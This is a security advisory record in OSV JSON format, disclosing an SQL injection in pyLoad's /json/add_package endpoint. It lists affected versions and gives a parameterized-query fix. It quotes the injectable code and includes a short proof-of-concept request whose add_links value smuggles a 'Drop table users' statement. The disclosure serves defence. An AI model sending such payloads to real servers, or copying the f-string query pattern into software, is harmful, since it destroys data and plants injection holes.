{"id":"PYSEC-2026-1821","summary":"PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter","details":"### Summary\nThe parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.\n\n### Details\n- Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271\n- Affected code:\n```python\n@style.queue\n    def update_link_info(self, data):\n        \"\"\"\n        data is list of tuples (name, size, status, url)\n        \"\"\"\n        self.c.executemany(\n            \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n            data,\n        )\n        ids = []\n        statuses = \"','\".join(x[3] for x in data)\n        self.c.execute(f\"SELECT id FROM links WHERE url IN ('{statuses}')\")\n        for r in self.c:\n            ids.append(int(r[0]))\n        return ids\n````\nstatuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.\n\n- Vulnerability Chain\n```xml\njosn_blueprint.py#add_package\nsrc/pyload/core/api/__init__.py#add_package\nsrc/pyload/core/managers/file_manager.py#add_links\nsrc/pyload/core/threads/info_thread.py#run\nsrc/pyload/core/threads/info_thread.py#update_info\nsrc/pyload/core/managers/file_manager.py#update_file_info\nsrc/pyload/core/database/file_database.py#update_link_info\n```\n\n\n### PoC\n```python\nimport requests\n\n\nif __name__ == \"__main__\":\n    url = \"http://localhost:8000/json/add_package\"\n    data = {\n        \"add_name\": \"My Downloads1\",\n        \"add_dest\": \"0\",\n        \"add_links\": \"https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--\",\n        \"add_password\": \"mypassword\"\n    }\n\n    response = requests.post(url, cookies=your_cookies, data=data)\n    print(response.status_code, response.text)\n```\n\u003cimg width=\"1599\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202\" /\u003e\n\n\n\n\n### Remediation\n ```python\ndef update_link_info(self, data):\n    \"\"\"\ndata is list of tuples (name, size, status, url)\n\"\"\"\n    self.c.executemany(\n        \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n        data,\n    )\n    \n    # 提取所有url\n    urls = [x[3] for x in data]\n    \n    # 构建参数化查询，避免SQL注入\n    placeholders = ','.join(['?'] * len(urls))\n    query = f\"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)\"\n    self.c.execute(query, urls)\n    \n    ids = [int(row[0]) for row in self.c.fetchall()]\n    return ids\n```\n\n\n\n### Impact\nAttackers can modify or delete data in the database, causing data errors or loss.","aliases":["CVE-2025-55156","GHSA-pwh4-6r3m-j2rf"],"modified":"2026-07-07T17:47:48.191916536Z","published":"2026-07-07T16:03:00.874481Z","references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55156"},{"type":"WEB","url":"https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"},{"type":"WEB","url":"https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271"},{"type":"PACKAGE","url":"https://pypi.org/project/pyload-ng"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-pwh4-6r3m-j2rf"}],"affected":[{"package":{"name":"pyload-ng","ecosystem":"PyPI","purl":"pkg:pypi/pyload-ng"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev91"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/pyload-ng/PYSEC-2026-1821.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}]}